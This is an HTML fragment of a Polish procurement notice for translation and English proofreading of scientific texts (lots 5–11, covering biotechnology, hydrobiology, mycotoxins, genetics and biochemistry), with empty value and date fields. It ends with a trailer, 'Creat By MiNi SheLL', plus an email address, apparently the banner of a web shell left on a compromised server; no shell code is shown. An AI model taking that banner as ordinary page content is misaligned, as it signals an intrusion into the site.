partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu biotechnologii.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>5</td><td><b>Nazwa: </b></td><td>Tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu hydrobiologii.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu hydrobiologii.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierownych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>6</td><td><b>Nazwa: </b></td><td>Tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu nauk mikotoksyn. </td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu nauk mikotoksyn. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>7</td><td><b>Nazwa: </b></td><td>Korekta językowa w języku angielskim tekstu naukowego z zakresu genetyki. </td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są korekta językowa w języku angielskim tekstu naukowego z zakresu genetyki. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>8</td><td><b>Nazwa: </b></td><td>Korekta językowa w języku angielskim tekstu naukowego z zakresu nauk biologicznych.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są korekta językowa w języku angielskim tekstu naukowego z zakresu nauk biologicznych.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>9</td><td><b>Nazwa: </b></td><td>Korekta językowa w języku angielskim tekstu naukowego z zakresu nauk biologicznych.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są korekta językowa w języku angielskim tekstu naukowego z zakresu nauk biologicznych.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doswiadczeniw osób skierowanych do realizacji zamóweinia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>10</td><td><b>Nazwa: </b></td><td>Korekta językowa w języku angielskim tekstu naukowego z zakresu mikotoksyn i grzybów pleśniowych.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są korekty językowe w języku angielskim tekstu naukowego z zakresu mikotoksyn i grzybów pleśniowych.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doswiadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>11</td><td><b>Nazwa: </b></td><td>Korekta językowa w języku angielskim tekstu naukowego z zakresu biochemii, biologii molekularnej lub biologii komórki.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są korekty językowe w języku angielskim tekstu naukowego z zakresu biochemii, biologii molekularnej lub biologii komórki.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doswiadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com